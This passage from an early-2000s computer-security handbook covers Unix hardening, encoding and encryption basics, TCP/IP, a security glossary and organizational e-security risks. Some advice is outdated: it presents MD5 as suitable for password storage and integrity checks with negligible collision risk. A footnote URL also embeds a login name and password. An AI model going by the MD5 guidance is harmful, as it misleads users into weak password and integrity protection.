User Privileges	The user *root* (uid 0) is the superuser and usually has the ability to modify every aspect of the system. Accordingly, protecting the root account and processes that run with root privileges is a critical aspect of Unix security. Avoid using the root account for routine activities, and disable logins by root. When you must use root, use the superuser command (su, or a variation like *sudo*) to change from your normal user account to root. If you have multiple users on your system, consider using access control lists of other mechanisms to limit the file access that these users have. When possible, run network services as a non-root user. Never unpack or compile new software as *root*. It's often possible to compile software in a *chroot* environment to protect yourself against some kinds of Trojan horses.
Remote disk mounts	If you use some mechanism to allow remote access to your disks (whether to other Unix systems or to PCs) use robust passwords and, when possible, limit access to the files that the applications demand.
System Services	Many Unix systems are shipped with a large variety of system services including FTP servers, web servers, and mail servers. In many cases, these systems are active and operating by default. All network-based services that you are not using should be disabled. Some people feel that since the service is there, it should be used, even though they do not have the technical expertise to manage it securely. This is a *big* mistake and such services should not be run on user workstations without good reason and adequate support. Many network services are started by the *inetd* (or *xinetd*) daemon. Examine the configuration file(s) used by this daemon and disable any services that you do not need. Other network services are started at system boot by files in the */etc/init.d* or */etc/rc*.d* directories on in the files */etc/rc* and */etc/rc.local*. Disable any services that you do not use. Pay particular attention to services that may provide outsiders with information about your system or its users, such as *fingerd*. If you run anonymous FTP services, use an up-to-date version of the FTP daemon. Don't provide your real */etc/passwd* file in the FTP area. Make sure that */etc/ftpusers*, the list of users who cannot connect by FTP, includes at least *root, uucp, bin,* and any other account that does not belong to a human being. Be wary of directory permissions and ownership in the FTP area; configure "incoming" directories to prevent downloads and "outgoing" directories to prevent uploads. Scan your FTP logs regularly.

Firewall	Every Unix system should run its own host-based packet-filtering firewall. Consult vendor documentation to determine if your system has a firewall and how to use it. Typical firewall configuration tools include *ipfw, ipchains,* and *iptables*. These firewalls should be configured to block all packets by default, and to allow only packets destined for services that you intend to provide.
Default Accounts	Many Unix systems come with several default accounts that are used to separate process or file ownership privileges, such as *daemon, bin, uucp*, etc. Make sure that the encrypted password entry for all of these accounts begins with a "*" character so that no possible password can be used to access the account. Only the root account should have a valid password. No one can log into the other accounts (although root can still assume their privileges with the *su* command if necessary).
Malware detectors	There are a number of tools which help a Unix administrator ensure that there is no malicious software on their system. One of the oldest is Tripwire, which verifies that the critical system utilities (and other files) have not been surreptitiously altered.

ADDENDUM 1.
INTRODUCTION TO ENCODING AND ENCRYPTION

Encoding and Encryption are techniques that transform a string of characters into some other form for a specific reason. In the sense that they are used in computing, encoding is a transformation that alters the look of the object, so that the result meets some specific criteria. Encryption is a transformation designed to disguise or hide the original contents.

Encoding

Encoding changes the format of an object to meet some criteria. It is a reversible process, so that the encoded format can later be decoded to recover the original object.

The Encoding Process

Let us say that you want to send a message consisting of a normal English language sentence:

SECURITY IS IMPORTANT.

However, there is a restriction that you may only send the decimal digits: 0, 1, 2, 3, 4, 5, 6, 7, 8 and 9.

To do this, we use a simple set of rules:

Instead of A, send the digits 01;
Instead of B, send the digits 02;
Instead of C, send the digits 03;
Instead of D, send the digits 04;
Instead of E, send the digits 05;
.....
Instead of X, send the digits 24;
Instead of Y, send the digits 25;
Instead of Z, send the digits 26;
Instead of the space character,
send the digits 27;
Instead of the period character,
send the digits 28.

We take the original sentence, and replace each character with its code:

19 replaces the S
05 replaces the E
03 replaces the C and so forth

We can now sent the string:

1905032118092025270919270913161518200114202 8.

If we put some spaces in the previous line so it is more legible, it looks like this:

19 05 03 21 18 09 20 25 27 09 19 27 09 13 16 15 18 20 01 14 20 28.

When the message is received, the recipient does a reverse translation:

S replaces the 19
E replaces the 05
C replaces the 03 and so forth resulting in the original sentence.

Encoding Applications

The main application of encoding that we will consider is the transmission of e-mail attachments. E-mail was originally designed for sending English-language text. It was based on the ASCII character set which allows 128 unique characters. 128 is sufficient for representing the 26 letters of the English alphabet in upper and lower case, the 10 digits, a number of special characters (such as comma, period, brackets, etc.) and a variety of control characters (such as tab and end-of-line).

Unfortunately, many languages include more characters than English. Programs, word processing files, pictures, and many other types of files are composed of 8-bit bytes which allow 256 unique characters. None of these could be sent in e-mail.

To overcome this problem, the concept of attachments was developed, in which the file to be transmitted would first be encoded so that it would only contain the legal ASCII characters. This process is similar to how our sample sentence was encoded using only digits. As with our sample, the resultant encoded message is longer than the original, but it can be transmitted legally, and, when received, decoded into its original form.

Unicode

Unicode is a method of encoding all characters used in all commonly used languages so that computers may uniformly handle them. Details are available through the Unicode Consortium (http://www.unicode.org), in brief:

"Fundamentally, computers just deal with numbers. They store letters and other characters by assigning a number for each one. Before Unicode was invented, there were hundreds of different encoding systems for assigning these numbers. No single encoding could contain enough characters, for example, the European Union alone requires several different encodings to cover all its languages. Even for a single language like English, no single encoding was adequate for all the letters, punctuation, and technical symbols in common use.

These encoding systems also conflict with one another. That is, two encodings can use the same number for two different characters, or use different numbers for the same character. Any given computer (especially a server) needs to support many different encodings, yet whenever data is passed between different encodings or platforms, that data always runs the risk of corruption. Unicode is changing all that!

Unicode provides a unique number for every character, no matter what the platform, no matter what the program, no matter what the language. The Unicode Standard has been adopted by such industry leaders as Apple, HP, IBM, JustSystem, Microsoft, Oracle, SAP, Sun, Sybase, Unisys and many others."

Encryption

Encryption is similar to encoding in that the process transforms some original text or object into another form. In this case, the intent is to hide the original contents.
There are three types of encryption that we will be looking at:

- Symmetric Encryption
- Public-key Encryption
- One-way Hash Encryption

Symmetric Encryption

In its simplest form, symmetric encryption is similar to encoding. The characters in the original object are transformed. A very simple-minded encryption algorithm (rules governing the process) is to take each alphabetic character and replace it with 1 character higher. So:

A is replaced by B
B is replaced by C
C is replaced by D
.....
X is replaced by Y
Y is replaced by Z
Z is replaced by A (at the end of the alphabet, it loops back to the beginning)

If we use this algorithm, our sample sentence becomes (ignoring the space and period in this simple case):

TFDVSJUZ JT JNQPSUBOU

The message is now disguised. The recipient will do the reverse translation, changing each letter by using the *previous* letter and will obtain the original sentence.

Instead of shifting each character 1 place, we could have shifted them some other number of characters. As long as the recipient knows the number of shifts, they can decrypt the message.

The number of shifts is called the encryption *key*. This same number is used to encrypt the message, and later decrypt it. Julius Caesar used this encryption method to keep messages he sent secret (he used a key of 3).

With this simple algorithm, if the message is intercepted *and* the interceptor understood the concept of encryption, he or she might be able to guess the contents by trying various shifts. If the algorithm was more complex than simply shifting each letter by the same amount, it would be more difficult to decipher. Until recently, many encryption algorithms were just such shifting algorithms.

Today, instead of shifting letters, we use mathematical formulas to encrypt messages. We still use a key and this key is part of the formula to perform the encryption. If you want to decrypt the message, you need the key. If you don't have the key, you could, of course, try various keys until the message made sense. If the key was restricted to the numbers from 1 to 10, this guessing would not take very long. If it were allowed values from 1 to 100, it would probably take longer. Today, keys typically are 128-bit binary numbers. That is equivalent to about 340,000,000,000,000,000,000,000,000,000,000,000 possible choices and guessing is not practical.

Symmetrical encryption is used when it makes sense for both the sender and recipient to use the same key (that is, they need to agree to it ahead of time). It is used for encrypting messages while they are being transmitted, over a wireless link, for example, and for encrypting information on disk so that others cannot read it. In the latter case, if you lose the key, the data is essentially lost!

Public-key Encryption

Public key encryption is similar to symmetrical encryption with one major exception. Instead of one key, there are two. A different key is used to encrypt the message than is used to decrypt it. In a typical use, the first key is made public and anyone can learn it. If you want to send me a private message, you use my *public key* that I have given to everyone to encrypt it. To decrypt the message, *my private key* (which is different from the my public key) is needed, and I do not share that key with anyone else. If your message is intercepted, no one else can read it.

Note that in this simple case, I cannot be sure who sent me the message, because anyone might have my public key, but you can be reasonably sure that only I can read it.

Pubic/Private keys can also be used in reverse. In this case you encrypt the message with your private key, and *anyone* who has your public key can decrypt it.

One-way Hash Encryption

You can think of a one-way Hash encryption as a type of public-key encryption for which no one has the private key. So things can be encrypted, but not decrypted. It is different in that the encrypted message is typically relatively short. A common one-way hash encryption algorithm is called MD5. The output of the MD5 algorithm is always 128 bits (16 bytes). If you create a hash code for two different things, the chances are virtually zero that the two hash codes will be the same.

There are two prime uses of such a code:

Authentication	You can take a long document or a program, compute the MD5 code for it, and keep the code in a safe place. Later, you can go back and compute the code again. If the new code is different from the original one, you will know that the document or program has been changed. Even a tiny change in a large document or program will result in a markedly different MD5 code.
Storing passwords	In many systems, when a user sets a password, it is encrypted using MD5 (or a similar algorithm) and that encrypted version is stored. When the user later attempts to sign on, what they enter is again encrypted, and compared to the one on disk. If they match, you know the password was correct. Note that it is not possible to decrypt the password if the user forgets it – a new one must be set. This method is used because it never allows your password to be seen in its original form. Unfortunately, there is still one problem and this is the reason why one should not use passwords that are short, simple, or guessable words: if you obtain a list of encrypted passwords (from a system that you broke into), it is easy to encrypt all sorts of "easy" passwords to see if the encrypted versions match those in the password table.

Digital Signatures

If I want to send you a message, and ensure that you know that I was the one who sent it, I can use a combination of the encryption techniques:

- I compose the message, and I use MD5 to create a hash code for the message.
- I encrypt the hash code using my private key.
- I send you the message, and the encrypted hash code.
- You receive the message.
- You decrypt the hash code using my public key, which will result in the original hash code.
- You take the text of the message that I sent, and calculate an MD5 hash code from that.
- If the two hash codes are identical, then you can be sure that the message has not been changed since I sent it (otherwise it would result in a different hash code) and that I was the one who sent it (otherwise my public key would not have allowed you to decrypt the original hash code.

The *Digital Certificates* used by web browsers for secure authentication rely on digital signature techniques such as this one.

ADDENDUM 2.
TCP/IP

TCP/IP (Internet Protocol) is the protocol (set of rules) governing all messages sent over the Internet. Although a typical user does not need to know anything about TCP/IP to use the Internet, one does need an overview to configure firewalls and to understand some of the other threats on the Internet. What follows is a very simplistic description of TCP/IP. If you are already familiar with the TCP/IP protocol, you probably do not need to read this chapter.

Internet Addressing

Every device on the Internet has an IP address. In general, this address uniquely defines that device, just as your mailing address on an envelope uniquely defines your home. Addresses in the current version of TCP/IP (known as IPv4) are 32-bit binary numbers, so there are 2^{32} = 4,294,967,296 possible addresses. To make it easier to represent and remember, the 32-bit binary number is broken up into 4 8-bit sections. Because 2^8 = 256, each 8-bit section can have a value from 0 to 255. These 4 numbers are normally shown one after each other, connected by periods. So the lowest Internet address is 0.0.0.0 and the highest one is 255.255.255.255. A typical IP address might be 24.200.195.15. Devices called *routers* on the Internet keep track of where each IP address is and how to get to it.

Domain Name Service

Because long strings of numbers are not easy to remember, many computers on the Internet are given alphabetic names (called a *hostname*). An example of such a name is www.infodev.org. When you enter this name into your web browser, for example, your computer sends a message to a special service called the *Domain Name Service* or DNS. The DNS knows how to translate alphabetic names into numeric ones - 192.86.99.121 in this case. DNS also allows a web server to be moved to a different location on the Internet. The owner informs the DNS of the new address, but users can still use the original hostname.

IP: Internet Protocol

When data is sent over the Internet, it is sent in blocks of characters called a *packet* or *datagram*. The IP in TCP/IP stands for Internet Protocol and the Internet Protocol defines how the packet looks inside. The IP packet contains a number of pieces of information. Among them are:

- the size of the packet;
- the IP address of the sender;
- the IP address where the packet is being sent;
- the type of packet.

When a packet leaves your computer, it is sent to the nearest router which attempts to send it to the next router along the way to its destination. If, due to congestion or some other problem, the packet cannot get delivered, it is simply ignored. For this reason, IP is called an *unreliable* protocol. Although in theory IP is unreliable, in most cases, the Internet delivers all the packets that are sent.

There are a number of different types of packets that can be sent, but there are only two that we will look at here. They are TCP and UDP.

TCP: Transmission Control Protocol

TCP is the protocol that is used for most messages, including the web (HTTP), File Transfer Protocol (FTP) and e-mail. In addition to the data being sent, the TCP packet includes:

- a 16-bit sending port number;
- a 16-bit receiving port number;
- sequencing information;
- acknowledgement information.

Because a single computer typically has just one IP address, the port number is used to indicate what program within the computer is sending or receiving the message. This is what allows you to have several web browser windows open on your computer and to have the pages that you request go back to the correct window. For a program to receive a TCP message, it must be *listening* on the correct port. Typically, a specific port is used for each type of application. For instance, a web server usually listens on port 80. When you open a browser window, it typically picks a semi-random port number (by convention higher than 1023) as its port, and this is the port that it listens on. Because IP packets are limited in length, and the data transmitted by

an application program may be much larger, the data can be chopped up into smaller segments. Each segment is sent in its own TCP packet. For various reasons, some packets may arrive faster than others, which means that they may arrive out of order. The sequencing information allows the receiving program to re-assemble the segments in the correct order. Since IP is potentially unreliable, it is possible that one of the segments never arrives. In this case, the receiving program will notice that there is a gap in the sequence and it can request that the missing packet be resent.

When a program sends a TCP packet, it expects the receiving program to acknowledge it. If an acknowledgement does not arrive in a reasonable time, the packet can be re-transmitted. Because of the sequence numbers and the acknowledgements, TCP is a *reliable* protocol. When it is used, the user application can be sure that if there is an error in transmission or reception, the application will be informed.

UDP: User Datagram Protocol

UDP is a simple format to allow data to be transmitted. Each UDP packet includes some information in addition to the data. These include:

- a 16-bit sending port number, and
- a 16-bit receiving port number.

Just as with TCP, because port numbers are used, there can be several program sending or receiving UDP streams in parallel. Also like TCP, to receive a message, the program must be listening on the correct port. There are no provisions for sequencing or acknowledgement in UDP, so it (like IP) is an unreliable protocol. In theory, messages can be lost. It is used in cases where it either does not matter if an occasional message is lost, or if there is a simple way to recover from the lost message. Because there are no acknowledgements or sequencing, it uses far fewer resources.

ADDENDUM 3.
MINI-GLOSSARY OF TECHNICAL TERMS

Definitions Related to Security

Attachment An attachment is a method by which text and images can be sent via e-mail. Any non-text file (which could be a program or a picture or a video) is converted ("encoded") into a printable form and inserted into the text message. Specifically, anything stored in your computer is composed of zeros and ones. Encoding, in its simplest form, would send the zeros and ones as printable characters.

Backdoor A way to bypass the normal login security and gain control of a computer without obtaining the owner's consent. If a backdoor is installed on a network-attached computer, a person anywhere on the Internet may be able to gain control of your computer without your knowledge or approval.

Backup The process of copying computer files to some other location either on the computer, or on storage devices that may be separated from the computer. Backups allow you to recover data in the event that the originals are no longer available (for reasons ranging from accidental deletion to physical damage, theft or other loss).

Buffer Overflow A software bug that occurs when a program moves data into a space in memory, but there is not enough room. The program may discard characters to try to make space for the new data.[34]

Destroying these characters can cause all sorts of problems, and often can allow things to happen which affect the integrity or security of the program. Buffer overflows can be avoided (if you are programming) by checking that there is sufficient spaced in memory before doing a move.

Cookie A file that is written to or read from your hard disk at the request of a remote web site. The web site requests that the file be written and reads it later. As a simple example, if you tell a web site what your username is, it can request that this information be written to your disk. When you go back to that web site, it reads the cookie and knows what your username is.

Daemon A small program that runs all of the time waiting for someone to ask it to do something – often such requests may be made remotely over the network.

Denial-of-Service A Denial-of-Service attack is when computers on the Internet are bombarded with (garbage) messages to such a great extent that they spend all of their time responding to these messages. Real user traffic can no longer get through.

E-mail The computer-based equivalent of postal mail – e(lectronic)-mail. Properly addressed e-mail can be sent and received by anyone connected to the Internet. From the perspective of the Internet, all e-mail is composed of printable text (ASCII) messages.

Encryption Encryption is a way to disguise information so that it cannot be read easily, except by the intended recipient. In the simplest case, there is a "key" in conjunction with a set of rules that is used to disguise that information. It can only be read after being decrypted, and to decrypt it, you would need to know the proper "key" and the appropriate rules.

[34] For example, the program might move 100 characters into an area that is only 80 characters long. Assume that the programmer is moving the data into an area starting at location 1001 in memory. The first 80 characters go just where they should – into locations 1001-1080, but the last 20 characters go into locations 1081-1100 – they overlap on top of whatever was there before (since the maximum move was supposed to be just 80 characters).

Firewall	Firewalls can block transmissions between you and the outside world that are unexpected or disallowed. Firewalls have two forms: a firewall may be software program running on your computer or it may be a separate piece of hardware that watches what is being sent and received over a network.
HTML	HTML is short for **H**yper**T**ext **M**arkup **L**anguage. A mark-up language allows commands or instructions embedded in the text to be displayed and printed. It is essentially a set of instructions that tells a web browser or mail program how to display text and images. It can also give other instructions to the browser/mail program. An example of a mark-up language is: This sentence is <<Start Bold>>very<<End Bold>> short. When the sentence is displayed, the words within the << >> are taken as instructions on what to do. As a result, the sentence would be displayed as: This sentence is **very** short.
Identity theft	Identity theft occurs when someone gathers enough information about you to convince others (such as banks, stores or governments) that they *are* you.
Keyboard logger	A program that captures everything that is typed on a keyboard. The data can be written to disk or sent to someone else via the Internet. If a keyboard logger is installed on a computer, everything that is entered on the computer, including usernames and passwords, can be captured, just as if someone was looking over your shoulder while you typed!
Open Source	Programs that are distributed in source format under conditions that allow free modification and distribution. Since the source code is available, people can see how it works and are able to change it. The authors of Open Source programs often encourage other programmers to participate in the further development of the programs. Open Source also includes software that is given away for free and many Open Source programs, both free and for sale, offer functionality that is similar to proprietary programs that may costs a substantial amount of money. Sometimes Open Source programs are incorporated into fee-based programs in special licensing arrangements. See www.opensource.org and www.fsf.org for additional information.
Spam	Advertising or other e-mail sent to you without your requesting it.
URL	Universal Resource Locator – a generalized address to locate something in the Internet. Examples are http://www.infodev.org/ and mailto: security-handbook@worldbank.org
Username/ password	A name and a secret password that identifies a user to a computer system or a web site.
Virus	The term “virus” has a very specific meaning that will be defined and discussed in more detail later. For the present, it will be used to describe a family of programs (including viruses, worms and Trojans) that can unexpectedly show up in your computer, may spread to other computers, and can do significant harm. This harm includes, but is not limited to, destroying files and data.

PART THREE

SECURITY FOR ORGANIZATIONS

CHAPTER 1.
INTRODUCTION

As we have seen in Part 2, much can be done by individual users to secure their computers and the data stored on them. In small organizations, provisions for IT security may also be quite simple, with each person holding responsibility for his or her own computer and files. However, for somewhat larger groups, groups that are engaged in commercial transactions, or groups that maintain confidential data for customers or public citizens, the need to establish formal security policies and procedures becomes more important. When managers and their staff consider the issue of IT security, whether they are operating businesses, non-profit organizations, or government agencies, they will all have similar concerns. Each group will want a certain level of security for their data, procedures that are clear and easy for employees to follow, the ability to retain and build on knowledge of customer needs, and an understanding of how their security policy is faring in a given operational environment. In addition to these general needs, each type of organization has special concerns related to its mission and goals. Managers must emphasize information security policies in the appropriate context in order to pursue stated objectives effectively. It is also important to understand the costs involved with implementing good security practices. Security procedures and technologies are an investment and should be evaluated against the costs of potential losses; the practical recommendations in Part 3 are provided with an understanding of the rigorous cost-benefit analysis that is necessary in a resource-constrained environment.

Some Statistics on IT Security in Organizations

Ernst & Young's Global Information Security Survey 2003[35] reveals that 90% of organizations say information security is of high importance for achieving their overall objectives. 78% of organizations identify risk reduction as their top influencer for information security spending.

These organizations are typically Fortune 1000 companies with substantial financial and personnel resources available to tackle challenging security-related issues. Even so,

- More than 34% of organizations rate themselves as less than adequate in their ability to determine whether their systems are currently under attack.
- More than 33% of organizations say they are inadequate in their ability to respond to incidents.
- Only 34% of organizations claim to be compliant with applicable security-driven regulations.
- 56% of organizations cite insufficient budget as the number one obstacle to an effective information security posture.
- Nearly 60% of organizations say they rarely or never calculate return on investment for information security spending.
- Only 29% of organizations list employee awareness and training as a top area of information security spending, compared with 83% of organizations that list technology as their top information security spending area.
- Only 35% of organizations say they have continuous education and awareness programs.

These statistics illustrate the fact that all organizations, no matter how large and seemingly well-off, feel the pressures, both psychological and financial, that come from threats to IT security. The chapters to follow will focus on the priorities and concerns of small to medium sized organizations. However, it may be useful to keep the Ernst and Young survey in mind as a symbol of the challenges faced in a range of business environments.

Small and Medium-Sized Businesses[36]

If you are running a small or medium sized business, your top priorities are profitability, business continuity, sustainability, and customer service. SMEs are also bound by local, regional, or national laws and may be accountable to a range of authorities, depending on the business that they are engaged in and the country's

[35] http://www.ey.com/global/download.nsf/International/TSRS_-_Global_Information_Security_Survey_2003/$file/TSRS_-_Global_Information_Security_Survey_2003.pdf

[36] The definition of a small to medium sized enterprise will vary from country to country. In some cases, a single owner will run every aspect of a traditional business such as a farm stand or a grocery store; the owner may be the business's sole employee. In other cases, a few hundred people may be involved in a more complex enterprise focusing on consumer or technology products. In the developed world, technology based startups are considered SMEs, but they may receive substantial funding from investment groups, grown rapidly, and ultimately be acquired by large corporations. Some highly successful SMEs issue stock and become large, publicly owned corporations themselves.

overall business environment. Security will be focused on protecting the enterprise and its customers from fraud and costly malicious attacks on their systems and services. In addition to computer crime and network security, data protection is also important to SMEs and encompasses two main areas: enterprise data protection from corporate spies or attackers and customer data protection, including credit card and transaction information.[37]

Non-profit Organizations

In non-profit organizations, your managers and employees are focused on effectiveness in the field, coordination with communities and partners, and reputation. Systems may be widely disbursed and are often of lesser quality due to the budget constraints present in the non-profit world. In addition, the staff may be less experienced with technology and thus will be facing a substantial challenge as they seek to provide uninterrupted service to their constituencies and maintain a positive image to their donors, overseers, and peers.

Universities

As with non-profits, budget constraints, disbursed networks, and a wide range of technological skill are present in university systems. Universities may face a greater number of internal threats as students may find hacking the institutional system an engaging pastime. In addition, universities may be operating under a unique set of internal policies and also need to comply with government regulations. In the university environment, personal data protection is extremely important, as student files include much sensitive information including identification numbers, health records, and academic transcripts. Potential attackers could steal, modify, or destroy such data, causing serious damage to the credibility and effectiveness of the university system.

Government Agencies

In government agencies, IT deployments may be assessed in terms of efficiency, ease-of-use, and ability to link up with other departments and agencies as needed. While profitability is generally not relevant in the governmental context, like non-profits, there are often budget controls that limit the agency's ability to acquire the latest in hardware and software security. At the same time, governments must be keenly focused on data protection in targeted environment, as their databases contain sensitive information on individuals, including personal identification, health, criminal, and tax records.

Unfortunately, even in industrialized countries, data protection in government agencies lags behind and suffers from antiquated systems, inadequate funding, and overworked staff who lack core competencies in IT security. Like businesses and non-profits, the government must be concerned with its public image after hacking incidents or other security breaches are brought to light in the media.

SMEs - Engines of Growth

In a recent report on IT in developing countries, the UNDP outlined some of the promises and challenges facing individuals and organizations in the information age.[38] The World Bank has been producing a series of reports on specific topics in information technology development and deployment.[39] Although the enterprise technology experiences in the industrialized world are different in some ways (scale, costs, knowledge base of the personnel), there are some lessons to be drawn from their strengths and weaknesses in the area of IT security. Large enterprises are fewer, have specialized capabilities, and deeper pockets. However, there are still tensions between Chief Security Officers as managers of cost centers, Chief Financial Officers as cost controllers, and other branches of the organization

[37] In general, corporate spies are a concern in larger enterprises, or enterprises that are producing high tech products, where the intellectual property (patents) may have value if stolen. For enterprises engaged in commerce, eavesdroppers may be of greater concern than spies, though the actions they take are similar. In particular, a company should protect its accounting records, personnel information, and credit card transaction data safe from unauthorized access.

[38] See The Human Development Report 2001: Making New Technologies Work for Human Development" (UNDP: NY, 2001).

[39] See references at the World Bank site: www.worldbank.org and also research projects and products available at the IT Governance Institute (ITGI): www.itgi.org.

(Chief Information Officers, Sales and Marketing, production).[40] Without an overarching mandate to create a secure IT environment, each group could develop an approach to security that is driven by its own mission, goals, and operational targets. While these varied approaches might lead to some areas being over-secured and other being under-secured, clear communication from top-level management will emphasize that sound security practices are aligned with the well being of the organization. The technology policies and implementations required to operate a safe and secure system for the enterprise are a necessary part of meeting core business objectives effectively.

Small and medium sized enterprises have fewer resources to deploy, a flatter management hierarchy, and heavier reliance on the knowledge base of all employees. In SMEs, the business processes may be more transparent than those in a larger organization and there are special security risks inherent in a structure where so much corporate information is out in the open, for all employees to see. In businesses that are not focused on technology, there may be vulnerabilities to an employee or consultant who is more technologically savvy than the company managers. In a technology-focused company, there is the danger that critical intellectual property may be insufficiently protected from theft or destruction.

As a safeguard against such problems, all SMEs should conduct a complete review of their mission, goals, competencies, and information systems. If they are working in areas that may create security risks for others, developing emerging technologies, for example, they should examine the likely threats to their customers' security and develop mitigation plans. If they are working in areas that will face government scrutiny, offering products and services in telecommunications, for example, then they should understand when and how they may be legally responsible for adhering to government mandates. An Internet Service Provider is an example of a business that runs both types of risk. By hooking customers up to the Internet, they are creating potential security risks for that customer's data and equipment and by providing digital content and a means of communication, the ISP is subject to state and federal regulation. If one adds the capacity for e-commerce, the potential gains and attendant liabilities are substantial

The Risks of Blended Threats[41]

Survey data from a range of respected sources illustrates an increase in the use of malicious code for egregious criminal purposes. Multiple reports generated in 2002 pertained to such things as: identity theft related to malicious code, web site defacements stemming from political motives, distributed denial of service attacks against specific organizational targets, and so on. Furthermore, the proliferation of blended threats poses serious risks for everyone on the Internet. These risks are not confined to a particular area, but threaten the entire global network. For example, the Klez worm family appears to have originated in Asia, with authorship attributions suspected in either China or Hong Kong. Asian countries are currently acquiring and making use of Internet connected computers at a rapid pace. Unfortunately, many of these computers are unprotected and their users do not understand basic safe computing practices. As a result, it is likely that areas of high technological growth, like China, will be exploited by attackers to spread viruses, worms, Trojans, and blends of all three around the world.

Current software tools offer a range of protection against malicious code, but they are unable to offer full defense against all forms of attack. Embracing a multi-layered defense model, from both a technical and human perspective, merely lowers the risk of a malicious code incident—it does not eliminate it. "Blended Threats" like Code Red, Slammer, Klez, and Bugbear can permanently compromise networks. Many worms do not carry destructive payloads themselves; instead, they install trap doors in computer systems, thus allowing easy and frequent network access for anyone familiar with the trap-door locations.

---

[40] In larger technology companies, or startups planning to grow rapidly, the management team is composed of individuals with specialized areas of business or technical expertise. These roles include, but are not limited to: Chief Executive Officer (CEO), Chief Financial Officer (CFO), Chief Technology Officer (CTO), Chief Information Officer (CIO) and, increasingly Chief Security Officer (CSO). There are also a range of Vice President positions in a typical corporation, including VPs of Marketing, Sales, and Business Development. While such formal structure may not be necessary (or possible) in a smaller enterprise, it is useful to see how responsibilities are divided up in large firms and to note the growing importance of the CSO

[41] See the 2003 World Bank paper "Blended Electronic Security Threats: Code Red, Klez, Slammer and BugBear" by Tom Kellermann and Yumi Nishiyama listed at: http://wbln0018.worldbank.org/html/FinancialSectorWeb.nsf/SearchGeneral?openform&E-Security/E-Finance&Publications .

Moreover, worms are, in some ways, more effective at disabling systems than viruses are, due to their ability to exploit vulnerabilities in common applications, such as web browsers.

Given this computing environment, users should educate themselves about the risks and take actions appropriate to their individual situations. When safe computing is exercised, the risk of an attack can be dramatically lowered, though it cannot be eliminated. Since the threat of deliberate computer sabotage is significant for organizations, it is important to examine the risks posed to individual security and to include the risks associated with financial transactions and the new challenges posed by mobile computing platforms.

Advantages of IT and IT Management

In spite of the challenges, entrepreneurs and managers in the public and private sectors in developing countries are investing in new information and communication technologies, including e-mail, the Internet, wireless telephony, and business software to assist in running their day-to-day operations. The advantages in efficiency, outreach, and cost savings in these new devices and services are clear:

1. They improve business communications with customers, suppliers, and partners;
2. They enhance the ability to access large quantities of information quickly and cheaply; and
3. They provide a means to expand data protection and management capabilities, resulting in better record keeping for financial managers, better customer analysis for sales and marketing managers, and better production statistics for line managers.

However, as we have seen, these improvements are not without risk, both the physical assets and to less tangible information assets. Part 3 of this Handbook will explore the IT security issues facing enterprises, large and small, in the developed and developing world. The sections are designed with a specific focus on actions to be taken by executives, managers, and employees in order to protect their systems, their customers, their suppliers, and other stakeholders in the enterprise. The checklists and procedural notes can easily be adapted for use in a non-profit or government agency context.

In addition to internal policies and procedures, some SMEs may choose to outsource their security needs. In the industrialized world, some experts say that outsourcing for non-core services like IT security has been the corporate strategy of the decade. In addition, some organizations have a specific interest in global security needs, particularly those of developing countries. As an example, ISACA, the Information System Audit and Control Association has partnerships in 60 countries and provides cases from various countries, and programs, all available as open source.[42] ISACA also offers an audit and control framework for organizations and includes checklists for outsourcing situations.

Whether conducted and controlled in-house or through outside vendors, developing and maintaining strong security infrastructure, policies, and procedures is a balancing act for most enterprises. Executives, managers, and policy makers must weigh the risks and set a standard that balances the investment in security with the official objectives and bottom line growth of the company. Once a company has achieved the desired level of security, the management must not forget the importance of maintaining up-to-date systems and performing regular audits of the security plan. Changes in computer and networking equipment, from proprietary to Open Source software packages, for example, will require a complete review of the security blueprint. In short, security is an art form, rather than a science, and requires the coordination of many creative thinkers to ensure its successful impact on an organization and society as a whole.[43]

[42] For further information on the cases and programs, see the Information Systems Audit and Control Association at: www.isaca.org. One such study featured the country of Uruguay that might be of particular interest to readers of this handbook: http://www.isaca.org/ct_case.htm. COBIT (http://www.isaca.org/cobit.htm) provides a reference framework on e-Security for management, users, and IS audit, control, and security practitioners. The latest communication from ISACA will give you a good overview of current and future developments of the Association: Volume 8 2003 of Global Communiqué: http://ISACF:RESEARCH4@www.isaca.org/@member/gcomm/gcv034.pdf

[43] Due to the rise in security incidents globally, a number of consulting firms have been producing reports on IT in an international context. See, for example, Ernst & Young's 2003 Global Information Security Survey: http://www.ey.com/global/download.nsf/US/TSRS_Global_Information_Security_Survey_2003/$file/TSRS_-_Global_Information_Security_Survey_2003.pdf

CHAPTER 2.
OVERVIEW OF E-SECURITY RISK MITIGATION[44]

At a Glance

This chapter of the Handbook identifies, defines, and discusses, under eight pillars, policies, processes, and an overall infrastructure that can foster a secure electronic environment for the financial services sector. It is intended for policymakers working with financial services providers, especially executives, chief information, and security officers. The technical sections should be of special use to those who administer electronic security systems, bank examiners who evaluate the adequacy of electronic security, and those who deal with the associated day-to-day risks inherent in electronic transactions.

Security in e-Finance

A recent series of papers on e-finance identified electronic security as crucial to enabling electronic finance to meet business and consumer expectations and deliver the benefits provided by technology and leapfrogging.[45] E-security touches the heart of the new economy; the potential benefits to global markets and the international community are substantial. However, the process of building a global electronic economy merits deep discussion of emerging business and policy issues: how should we define and protect privacy?, what do trust and confidence mean in a digital environment?, how can one determine the appropriate level of security and how can one measure the return on the security investment?

Due to the ever-changing nature of technology, this Handbook does not treat all these issues nor does it attempt to provide definitive answers. Rather, it offers a view of what has transpired to date, the gaps that are opening in the electronic security area, and some possible approaches for bridging those gaps. It also acknowledges some of the efforts underway around the world aimed at resolving these issues.

What is electronic security?

Broadly speaking, electronic security is any tool, technique, or process used to protect a system's information assets. Electronic security enhances the value of a network and is composed of soft and hard infrastructure. The soft infrastructure components are the policies, processes, protocols, and guidelines that protect the system and the data from compromise. The hard infrastructure consists of hardware and software needed to protect the system and data from threats to security from inside or outside the organization. The degree of electronic security used for any activity should be proportional to the activity's underlying value. Appropriate security measures will mitigate (but not eliminate) the risk for the underlying transaction, in proportion to its value.

Electronic security will require more attention as new technology creates new risks and as technologies converge.

E-finance is the use of electronic means to exchange information, transfer signs and representations of value, and execute transactions in a commercial environment. E-finance comprises four primary channels: electronic funds transfers (EFTs), electronic data interchange (EDI), electronic benefits transfers (EBTs), and electronic trade confirmations (ETCs).

Although e-finance offers developing market economies an expanded opportunity for commerce, the capability poses a number of serious risks. All four channels of e-finance are susceptible to fraud, theft, embezzlement, pilfering, and extortion. Most of the commerce-related crimes that take place over the Internet are not new—fraud, theft, impersonation, and extortion demands have plagued the financial services industry for years. However,

---

